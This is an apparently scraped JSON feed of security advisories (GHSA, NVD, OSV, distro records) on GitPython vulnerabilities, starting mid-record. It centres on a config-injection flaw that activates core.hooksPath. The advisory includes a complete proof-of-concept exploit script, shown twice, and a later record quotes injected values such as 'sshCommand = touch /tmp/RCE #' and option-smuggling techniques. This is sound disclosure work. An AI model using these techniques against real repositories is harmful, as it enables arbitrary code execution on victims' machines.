\u003cattacker path\u003e\", it becomes a real, active core.hooksPath after\none unrelated GitPython config write, and fires attacker code on the next\nhook-triggering git operation (e.g. `git commit`).\n\nThis is CWE-88/CWE-94 style argument/config injection, but via the READ path\n(a config file GitPython parses and later rewrites), not via a Python kwarg\nargument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /\nGHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all\nguard the setter-argument surface only.\n\nRun:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-002-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside \u003cworkdir\u003e. The \"malicious\" hook just writes a\nmarker file; no destructive/exfiltrating payload. Exits non-zero and prints\n\"NOT VULNERABLE\" if the corruption / hook does not fire.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-002-poc\"\n    repo_dir = os.path.join(workdir, \"repo\")\n    hooks_dir = os.path.join(workdir, \"evil-hooks\")\n    marker = os.path.join(workdir, \"PWNED_MARKER.txt\")\n\n    for p in (repo_dir, hooks_dir):\n        os.makedirs(p, exist_ok=True)\n    if os.path.exists(marker):\n        os.remove(marker)\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", repo_dir], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.email\", \"test@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.name\", \"Test\"], check=True)\n\n    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value\n    # inside [core] (before any other section). No raw CR/LF/NUL byte is\n    # written to disk here -- this is standard git config quoting +\n    # backslash-line-continuation, decoded by both real git and GitConfigParser\n    # into the Python string 'A\\nhooksPath = ../evil-hooks'.\n    cfg_path = os.path.join(repo_dir, \".git\", \"config\")\n    with open(cfg_path) as f:\n        original = f.read()\n    poisoned_entry = '\\tzzz = \"A\\\\nhooksPath = ../evil-hooks\\\\\\n\"\\n'\n    # Insert right after the [core] header line so it lives in the same section.\n    new_config = original.replace(\"[core]\\n\", \"[core]\\n\" + poisoned_entry, 1)\n    with open(cfg_path, \"w\") as f:\n        f.write(new_config)\n\n    # Confirm it's inert per real git before touching GitPython.\n    pre = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if pre.returncode == 0:\n        print(\"SETUP ERROR: core.hookspath already set before GitPython touched anything\")\n        sys.exit(2)\n\n    # Malicious hook: benign marker only.\n    hook_path = os.path.join(hooks_dir, \"pre-commit\")\n    with open(hook_path, \"w\") as f:\n        f.write('#!/bin/sh\\necho \"PWNED-VIA-GITPYTHON-CONFIG-INJECTION\" \u003e \"%s\"\\nexit 0\\n' % marker)\n    os.chmod(hook_path, 0o755)\n\n    import git  # gitpython under test\n\n    repo = git.Repo(repo_dir)\n    before = repo.config_reader().get_value(\"core\", \"zzz\")\n    print(\"core.zzz before any GitPython write =\", repr(before))\n\n    # ONE totally unrelated, benign write -- this is the only \"attacker-adjacent\"\n    # action required, and it is something virtually every GitPython consumer\n    # does routinely (setting an option, adding a remote, updating a branch's\n    # tracking config, ...).\n    with repo.config_writer() as cw:\n        cw.set_value(\"user\", \"name\", \"Test User\")\n\n    post = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if post.returncode != 0:\n        print(\"NOT VULNERABLE: core.hookspath still absent after the unrelated write\")\n        sys.exit(1)\n\n    injected_path = post.stdout.strip()\n    print(\"core.hookspath is now LIVE after one unrelated write:\", injected_path)\n\n    # Trigger the hook with a normal commit to prove it fires.\n    with open(os.path.join(repo_dir, \"file2.txt\"), \"w\") as f:\n        f.write(\"change\\n\")\n    subprocess.run([\"git\", \"-C\", repo_dir, \"add\", \"file2.txt\"], check=True)\n    subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"-c\", \"user.email=t@example.com\", \"-c\", \"user.name=T\",\n         \"commit\", \"-q\", \"-m\", \"trigger hook\"],\n        check=True,\n    )\n\n    if os.path.isfile(marker):\n        with open(marker) as f:\n            content = f.read().strip()\n        print(\"VULNERABLE: hook fired, marker content =\", content)\n        sys.exit(0)\n    else:\n        print(\"NOT VULNERABLE: hook did not fire\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```","status":"published","published":"2026-09-08T18:39:40Z","modified":"2026-09-08T18:39:42Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-88","CWE-94"],"updated_at":"2026-11-02T14:41:13.477974Z"},{"id":"GHSA-9557-234j-7rv9","title":"Duplicate Advisory: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-284h-m62q-gf8w. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.","status":"withdrawn","published":"2026-08-25T03:32:10Z","modified":"2026-09-08T18:39:18Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-88"],"updated_at":"2026-11-02T14:41:13.477974Z"}],"nvd":[{"id":"CVE-2026-78676","description":"GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.","status":"published","published":"2026-08-25T02:16:52.03Z","modified":"2026-10-12T15:10:00.207Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-88"],"updated_at":"2026-11-02T14:12:41.018848Z"}],"osv":[{"id":"ALPINE-CVE-2026-78676","description":"GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.","status":"published","published":"2026-08-25T02:16:52.03Z","modified":"2026-11-03T06:32:57.079560862Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-03T07:16:26.770911Z"},{"id":"CVE-2026-78676","title":"GitPython before 3.1.59 Remote Code Execution via Config Injection","description":"GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.","status":"published","published":"2026-08-25T01:30:33.754Z","modified":"2026-10-28T02:30:54.267437613Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-88"],"updated_at":"2026-11-02T15:45:17.44708Z"},{"id":"DEBIAN-CVE-2026-78676","description":"GitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.","status":"published","published":"2026-08-25T02:16:52.03Z","modified":"2026-10-31T14:00:10.52824965Z","cvss":[{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"updated_at":"2026-11-02T15:46:03.502256Z"},{"id":"GHSA-284h-m62q-gf8w","title":"GitPython: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE","description":"- **CWE:** CWE-88 (Argument Injection) / CWE-94 (Code Injection) — via a read-then-corrupt-on-rewrite config round trip, not a direct setter argument\n- **Affected component:** `git/config.py` — `GitConfigParser._read()` (multi-line value decoding, lines 444-541, esp. `string_decode()` at line 460 and its call sites at 519/541) and `GitConfigParser._write()`/`write_section()` (serialization, lines ~694-712, esp. line 708)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\nGitPython added `UNSAFE_CONFIG_CHARS_RE` / `_value_to_string_safe()` / `_assure_config_name_safe()` guards (commits `c417af46`, `1ed1b924`, `a495ccd3`, and PR #2176) to reject a Python string containing a raw `\\r`/`\\n`/NUL byte, or syntax-bearing characters, when it is passed as an **argument** to `set()`, `set_value()`, `add_value()`, or `add_section()`. This closed the four config-injection GHSAs above.\n\nThat guard is applied only on the write-argument surface. It is never consulted for values that entered `GitConfigParser._sections` via `_read()` — i.e. values that came from parsing an on-disk config file. And `_read()` legitimately supports standard, spec-compliant git config syntax for multi-line values: a quoted value that is not closed on the same physical line continues onto the next physical line (git's own backslash-continuation syntax), and `string_decode()` (`.decode('unicode_escape')`) decodes a literal two-character `\\n` **escape sequence** inside such a value into a real embedded LF character in the resulting Python string. No raw control byte is ever written to disk to achieve this — it's the same syntax real `git` itself uses and accepts.\n\nThe bug is in what happens when that `GitConfigParser` is later **flushed**: `write_section()` (line ~694) calls the *unsafe* `self._value_to_string(v)` — not `_value_to_string_safe()` — and \"handles\" any embedded newline in the value with `.replace(\"\\n\", \"\\n\\t\")` (line 708), emitting a bare, unquoted `\u003creal newline\u003e\u003ctab\u003e` in the output file with no re-quoting and no backslash-continuation marker. Real git does **not** treat an indentation-only continuation the way GitPython's writer assumes — a value only continues across physical lines when the *previous* line ends in a literal `\\` immediately before the newline. So the moment `write_section()` re-serializes a previously-decoded multi-line value this way, the second half of that value becomes an **independent, new config line** the next time anyone (GitPython or real `git`) parses the file. If an attacker chooses the dormant value's content to be `\u003canything\u003e\\nhooksPath = \u003cattacker path\u003e`, that second line is parsed as a brand-new `core.hooksPath = \u003cattacker path\u003e` directive — live, real Git configuration, not a value.\n\n`core.hooksPath` is honored by essentially every hook-firing git operation (`commit`, `checkout`, `merge`, `push`, `rebase`, ...), giving arbitrary code execution the next time the host application performs any hook-triggering operation.\n\n## Root cause\n`GitConfigParser`'s injection guard is asymmetric: it hardens every *write-argument* entry point (the fix for the four sibling GHSAs) but never hardens the **read → corrupt-on-rewrite round trip**. A value that is 100% legitimate and inert as parsed from disk becomes a newly-injected directive purely through GitPython's own broken re-serialization logic (`write_section()` using the unsafe value-to-string path plus a continuation scheme real git doesn't recognize). The `c417af46` commit message even states its intent explicitly: *\"This preserves existing read behavior for config files that already contain multiline values while preventing GitPython from writing new unsafe values\"* — i.e. the maintainers consciously scoped the fix to the write-argument surface and did not address what happens when an already-resident multi-line value gets rewritten.\n\n## Exploit path\n1. A `.git/config` (or any file merged into it via `[include]`, see below) already contains a dormant, syntactically-legitimate multi-line quoted value, e.g.:\n   ```\n   [core]\n   \tzzz = \"A\\nhooksPath = ../evil-hooks\\\n   \"\n   ```\n   No raw `\\r`, `\\n`, or NUL byte appears on disk — this is standard git quoting + backslash-continuation. Real `git config --get core.hookspath` returns nothing at this point (inert); `git config --get core.zzz` returns the decoded string `A\\nhooksPath = ../evil-hooks`, identically to GitPython's own reader.\n2. The host application opens this repo with GitPython (`git.Repo(path)`, `read_only=False` implicitly for a normal `config_writer()` use) and performs **any** single, unrelated, legitimate config write on the same `GitConfigParser` instance — e.g. `repo.config_writer().set_value(\"user\", \"name\", \"Test User\")`. This is one of the most ordinary operations a GitPython-based tool performs.\n3. `GitConfigParser._write()`/`write_section()` re-serializes every resident value, including the dormant `zzz` entry, using the unsafe path. The file on disk now contains, verbatim:\n   ```\n   [core]\n   \t...\n   \tzzz = A\n   \thooksPath = ../evil-hooks\n   ```\n4. Real `git config --get core.hookspath` now returns `../evil-hooks` — a key that did not exist before step 2, created purely by GitPython's own write.\n5. The next hook-firing git operation (e.g. `git commit`) executes `../evil-hooks/pre-commit` (or whatever hook name the operation looks for), i.e. arbitrary attacker-chosen code execution.\n\n## Impact\nArbitrary code execution, on par with (and more directly triggered than) the already-accepted, High-severity `GHSA-mv93-w799-cj2w`/`GHSA-v87r-6q3f-2j67` \"Newline injection... enables RCE via core.hooksPath\" advisories, and requiring **no unsafe caller argument at all** — only an attacker-influenced config file plus one ordinary, unrelated write.\n\n## Preconditions\n- A config file GitPython opens read-write already contains an attacker-chosen, syntactically-valid multi-line value shaped like `\u003canything\u003e\\n\u003cinjected-key\u003e = \u003cinjected-value\u003e`. Realistic delivery:\n  1. **Pre-existing `.git` directory shipped with a repository** — vendored/template repos, CI workspace/layer caches that preserve `.git`, \"repo\" tarball/zip distributions that include `.git/config`. The poisoned value sits directly in `.git/config`.\n  2. **The documented shared-config `[include]` pattern** (`[include] path = ../\u003crepo-tracked-file\u003e`, pointing at a file inside the working tree) — `GitConfigParser.read()` merges included files' sections into the same `_sections` dict used for writing, so a malicious public repository can ship the poisoned value inside a normal tracked file and have it activated the first time any GitPython-based tool performs any unrelated config write after clone (this requires the victim's own `.git/config` to already reference the include, e.g. via project setup tooling that adds `include.path`).\n  3. **Any host application that opens an attacker-influenced config file for read-write and later performs a legitimate write** — the exact trust-boundary the maintainers already accepted as realistic for `GHSA-v87r-6q3f-2j67` (their writeup cites MLRun's `project.push()`).\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py:460` (`string_decode`), invoked at `git/config.py:519` and `:541` inside `_read()`'s multi-line handling — decodes `unicode_escape`, turning a literal `\\n` escape into a real embedded LF.\n- `git/config.py:~694-712` (`_write()`/`write_section()`) — uses `self._value_to_string(v)` (unsafe variant) and `.replace(\"\\n\", \"\\n\\t\")` with no re-quoting.\n- `c417af46` (the CR/LF/NUL guard commit) touches only the setter path and explicitly states it preserves existing *read* behavior for multi-line values, per its own commit message.\n- `git log -S\"string_decode\"`, `-S\"write_section\"`, `-S'replace(\"\\n\", \"\\n\\t\")'` on `git/config.py` show these code paths have only ever been touched by non-security formatting/refactor commits (`a5fc1d86`, `b825dc74`, `cb68eef0`, `21ec5299`), never by a security fix.\n- PoC (`gitpython-002-poc.py`, embedded below) reproduces the full chain end-to-end against this exact checkout: dormant value → one unrelated `config_writer()` write → `core.hookspath` becomes live per real `git config --get` → a subsequent `git commit` executes the injected hook and writes a benign marker file.\n\n## False-positive check (adversarial re-read)\n- **Is this just a repeat of the four already-fixed config-injection GHSAs?** No — all four require the *caller* to pass a Python string containing a raw control character or forbidden syntax character as an argument to a setter; all four are now blocked by `UNSAFE_CONFIG_CHARS_RE`/`VALID_CONFIG_OPTION_NAME_RE`/the section quote-state-machine. This finding requires no such caller argument: the payload is smuggled entirely inside a config *file* using standard, valid git escaping that the guard never inspects, and only becomes dangerous through GitPython's own unguarded re-serialization of a value it already holds. Confirmed via `_known-advisories.json` (26 entries, none withdrawn) — none describe this read→corrupt-on-rewrite mechanism.\n- **Does real git actually round-trip this value safely (i.e. is this a GitPython-only bug, not a \"normal\" file)?** Yes, confirmed empirically: after the same crafted `.git/config` is rewritten by *real* `git config user.name Test2` (a control test), the multi-line `zzz` entry is preserved byte-for-byte in its original quoted/continuation form — only GitPython's writer corrupts it.\n- **Is there a guard elsewhere that would catch the resulting bare `hooksPath = ...` line before it's trusted?** No — once on disk, it is indistinguishable from a directive the user set intentionally; `core.hooksPath` is honored unconditionally by git's hook-invocation machinery.\n- **Does this require an unrealistic precondition?** The precondition (a config file with attacker-influenced content, later legitimately rewritten) mirrors the exact threat model the maintainers already treated as realistic and fixed for `GHSA-v87r-6q3f-2j67`.\n- Verdict: no concrete blocker found. **CONFIRMED** — reproduced independently end-to-end (dormant value in place → benign unrelated `config_writer()` write → `core.hookspath` live per real git → hook fires on `git commit`, marker file written).\n\n## Remediation\nEither (a) make `write_section()`/`_write()` use `_value_to_string_safe()` (or equivalent re-quoting) for **every** resident value, including those that originated from `_read()`, so an embedded newline is always re-emitted as a properly quoted+backslash-continued value rather than a bare new line, or (b) reject/neutralize embedded control characters in values at read time before they can reach `_sections` at all if the parser is opened in `read_only=False` mode, or (c) canonicalize output using git's own `git config --file \u003cpath\u003e --replace-all` semantics instead of a hand-rolled writer. Option (a) is the most surgical fix and matches the spirit of `_value_to_string_safe()` already used on the setter path.\n\n## Confidence\nHigh. Root cause independently re-derived and confirmed by direct code reading; full exploit chain (dormant value → benign unrelated write → live `core.hookspath` → hook execution with a benign marker) reproduced twice, independently, against the current HEAD.\n\n\n## Proof-of-Concept source (`gitpython-002-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-002 PoC: a dormant, legitimately-encoded multi-line git-config value\n(standard quoted + backslash-continuation syntax, containing an escaped \"\\\\n\"\nthat decodes to a real embedded newline in memory) is corrupted into a NEW,\nlive config key the moment GitConfigParser re-serializes it during any\nunrelated write. If the smuggled second \"line\" looks like\n\"hooksPath = \u003cattacker path\u003e\", it becomes a real, active core.hooksPath after\none unrelated GitPython config write, and fires attacker code on the next\nhook-triggering git operation (e.g. `git commit`).\n\nThis is CWE-88/CWE-94 style argument/config injection, but via the READ path\n(a config file GitPython parses and later rewrites), not via a Python kwarg\nargument -- distinct from the already-fixed GHSA-mv93-w799-cj2w /\nGHSA-v87r-6q3f-2j67 / GHSA-3rp5-jjmw-4wv2 / GHSA-jm78-9fvv-mhgr, which all\nguard the setter-argument surface only.\n\nRun:\n  PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-002-poc.py \u003cworkdir\u003e\n\nBenign: only writes/reads inside \u003cworkdir\u003e. The \"malicious\" hook just writes a\nmarker file; no destructive/exfiltrating payload. Exits non-zero and prints\n\"NOT VULNERABLE\" if the corruption / hook does not fire.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n    workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-002-poc\"\n    repo_dir = os.path.join(workdir, \"repo\")\n    hooks_dir = os.path.join(workdir, \"evil-hooks\")\n    marker = os.path.join(workdir, \"PWNED_MARKER.txt\")\n\n    for p in (repo_dir, hooks_dir):\n        os.makedirs(p, exist_ok=True)\n    if os.path.exists(marker):\n        os.remove(marker)\n\n    subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", repo_dir], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.email\", \"test@example.com\"], check=True)\n    subprocess.run([\"git\", \"-C\", repo_dir, \"config\", \"user.name\", \"Test\"], check=True)\n\n    # Rewrite .git/config with a dormant, 100%-valid multi-line quoted value\n    # inside [core] (before any other section). No raw CR/LF/NUL byte is\n    # written to disk here -- this is standard git config quoting +\n    # backslash-line-continuation, decoded by both real git and GitConfigParser\n    # into the Python string 'A\\nhooksPath = ../evil-hooks'.\n    cfg_path = os.path.join(repo_dir, \".git\", \"config\")\n    with open(cfg_path) as f:\n        original = f.read()\n    poisoned_entry = '\\tzzz = \"A\\\\nhooksPath = ../evil-hooks\\\\\\n\"\\n'\n    # Insert right after the [core] header line so it lives in the same section.\n    new_config = original.replace(\"[core]\\n\", \"[core]\\n\" + poisoned_entry, 1)\n    with open(cfg_path, \"w\") as f:\n        f.write(new_config)\n\n    # Confirm it's inert per real git before touching GitPython.\n    pre = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if pre.returncode == 0:\n        print(\"SETUP ERROR: core.hookspath already set before GitPython touched anything\")\n        sys.exit(2)\n\n    # Malicious hook: benign marker only.\n    hook_path = os.path.join(hooks_dir, \"pre-commit\")\n    with open(hook_path, \"w\") as f:\n        f.write('#!/bin/sh\\necho \"PWNED-VIA-GITPYTHON-CONFIG-INJECTION\" \u003e \"%s\"\\nexit 0\\n' % marker)\n    os.chmod(hook_path, 0o755)\n\n    import git  # gitpython under test\n\n    repo = git.Repo(repo_dir)\n    before = repo.config_reader().get_value(\"core\", \"zzz\")\n    print(\"core.zzz before any GitPython write =\", repr(before))\n\n    # ONE totally unrelated, benign write -- this is the only \"attacker-adjacent\"\n    # action required, and it is something virtually every GitPython consumer\n    # does routinely (setting an option, adding a remote, updating a branch's\n    # tracking config, ...).\n    with repo.config_writer() as cw:\n        cw.set_value(\"user\", \"name\", \"Test User\")\n\n    post = subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"config\", \"--get\", \"core.hookspath\"],\n        capture_output=True, text=True,\n    )\n    if post.returncode != 0:\n        print(\"NOT VULNERABLE: core.hookspath still absent after the unrelated write\")\n        sys.exit(1)\n\n    injected_path = post.stdout.strip()\n    print(\"core.hookspath is now LIVE after one unrelated write:\", injected_path)\n\n    # Trigger the hook with a normal commit to prove it fires.\n    with open(os.path.join(repo_dir, \"file2.txt\"), \"w\") as f:\n        f.write(\"change\\n\")\n    subprocess.run([\"git\", \"-C\", repo_dir, \"add\", \"file2.txt\"], check=True)\n    subprocess.run(\n        [\"git\", \"-C\", repo_dir, \"-c\", \"user.email=t@example.com\", \"-c\", \"user.name=T\",\n         \"commit\", \"-q\", \"-m\", \"trigger hook\"],\n        check=True,\n    )\n\n    if os.path.isfile(marker):\n        with open(marker) as f:\n            content = f.read().strip()\n        print(\"VULNERABLE: hook fired, marker content =\", content)\n        sys.exit(0)\n    else:\n        print(\"NOT VULNERABLE: hook did not fire\")\n        sys.exit(1)\n\n\nif __name__ == \"__main__\":\n    main()\n\n```","status":"published","published":"2026-09-08T18:39:40Z","modified":"2026-09-08T19:00:06.885837775Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"critical"}],"cwes":["CWE-88","CWE-94"],"updated_at":"2026-11-02T15:46:33.956911Z"},{"id":"GHSA-9557-234j-7rv9","title":"Duplicate Advisory: Dormant multi-line git-config values are corrupted into live injected directives (e.g. core.hooksPath) on any unrelated GitConfigParser write, enabling RCE","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-284h-m62q-gf8w. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.59 fails to safely re-serialize multi-line git-config values during write operations, corrupting dormant quoted values into injected directives like core.hooksPath. Attackers can craft config files with embedded newlines that become live git directives after any unrelated GitPython config write, enabling arbitrary code execution via hook invocation.","status":"withdrawn","published":"2026-08-25T03:32:10Z","modified":"2026-09-08T19:00:06.899723325Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"critical"}],"cwes":["CWE-88"],"updated_at":"2026-11-02T15:46:43.123867Z"},{"id":"OESA-2026-3699","title":"python-GitPython security update","description":"GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.\r\n\r\nSecurity Fix(es):\n\nGitPython before 3.1.57 contains an incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add-virtual-file options. Attackers can supply these options to Repo.archive() to read arbitrary files from the filesystem and include them in the returned archive.(CVE-2026-73619)\n\nGitPython before 3.1.57 fails to guard git option forwarding in IndexFile.checkout() and TagReference.create(), allowing attackers to pass unsafe options via kwargs. Attackers can use --prefix to overwrite arbitrary files with repository content or -F to read arbitrary files returned in-band.(CVE-2026-73620)\n\nGitPython before 3.1.56 contains an argument injection vulnerability in the Commit.count() method, which forwards keyword arguments to \u0026apos;git rev-list\u0026apos; without the check_unsafe_options guard present in the sibling iter_items method. An attacker who can control options passed to Commit.count (e.g., via an application that forwards a user-supplied options dict) can supply output=\u0026lt;path\u0026gt;, causing \u0026apos;git rev-list --output=\u0026lt;path\u0026gt;\u0026apos; to open and truncate the target file to zero bytes before revision parsing. This allows destruction/blanking of an arbitrary file at the process\u0026apos;s privilege level (no content control, 0-byte truncation).(CVE-2026-73621)\n\nGitPython before 3.1.55 fails to disable environment variable expansion in Remote.create() and Submodule.add() URL handling, allowing attackers to exfiltrate secrets by supplying URLs containing variable references. Attackers can craft URLs with environment variable tokens that are expanded into .git/config and .gitmodules, then transmitted to attacker-controlled hosts during fetch or pull operations.(CVE-2026-73622)\n\nGitPython before 3.1.54 contains an incomplete denylist in unsafe_git_clone_options that omits --template, allowing attackers to achieve arbitrary command execution during clone operations. Attackers can supply --template pointing to a directory containing malicious post-checkout hooks that execute when git clones the repository.(CVE-2026-73623)\n\nGitPython versions before 3.1.54 contain an arbitrary file overwrite vulnerability in the Diffable.diff method that fails to validate git options passed through kwargs. Attackers can supply the --output argument via the other parameter or output kwarg to write patch content to attacker-chosen file paths at process privilege level.(CVE-2026-73624)\n\nGitPython versions before 3.1.54 contain a remote code execution vulnerability in the check_unsafe_options guard that can be bypassed by smuggling git options inside single-character kwarg values. Attackers can supply crafted option dictionaries to clone_from, fetch, pull, push, ls_remote, iter_commits, blame, or archive methods to execute arbitrary OS commands via the --upload-pack parameter.(CVE-2026-73625)\n\nGitPython versions before 3.1.58 fail to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout(). Attackers can supply --pathspec-from-file and --pathspec-file-nul parameters to read arbitrary files accessible to the process, with full file contents returned in GitCommandError.stderr.(CVE-2026-76217)\n\nGitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.(CVE-2026-76218)\n\nGitPython versions before 3.1.58 contain an arbitrary file overwrite vulnerability in IndexFile.from_tree, IndexFile.reset, and IndexFile.merge_tree methods that append caller-influenced treeish strings to git read-tree without option validation or argument separation. Attackers can inject the --index-output option to overwrite arbitrary files with a valid git-index blob, destroying existing file content at attacker-controlled writable paths.(CVE-2026-76219)\n\nGitPython before 3.1.58 contains a command execution vulnerability in the check_unsafe_options guard that can be bypassed by combining a single-character kwarg with split_single_char_options=False. Attackers can supply a crafted kwargs dictionary to guarded methods like clone_from to emit a joined token parsed as --upload-pack, enabling arbitrary OS command execution at default allow_unsafe_options=False.(CVE-2026-76220)\n\nGitPython before 3.1.58 contains a config-name injection vulnerability in the option-name validator that allows attackers to forge arbitrary git-config directives by injecting equals signs, hash symbols, and whitespace into option names. Attackers can inject malicious option names like \u0026apos;sshCommand = touch /tmp/RCE #\u0026apos; to execute arbitrary commands via core.sshCommand or core.hooksPath on the next git operation.(CVE-2026-76221)\n\nGitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.(CVE-2026-76222)\n\nGitPython before 3.1.59 fails to disable merge_includes when parsing .gitmodules, allowing attackers to disclose local file content by including arbitrary file paths via [include] directives. Attackers can craft a malicious .gitmodules file with include directives pointing to sensitive files; when repo.submodules is accessed, GitConfigParser raises MissingSectionHeaderError embedding the target file\u0026apos;s first line verbatim in the exception 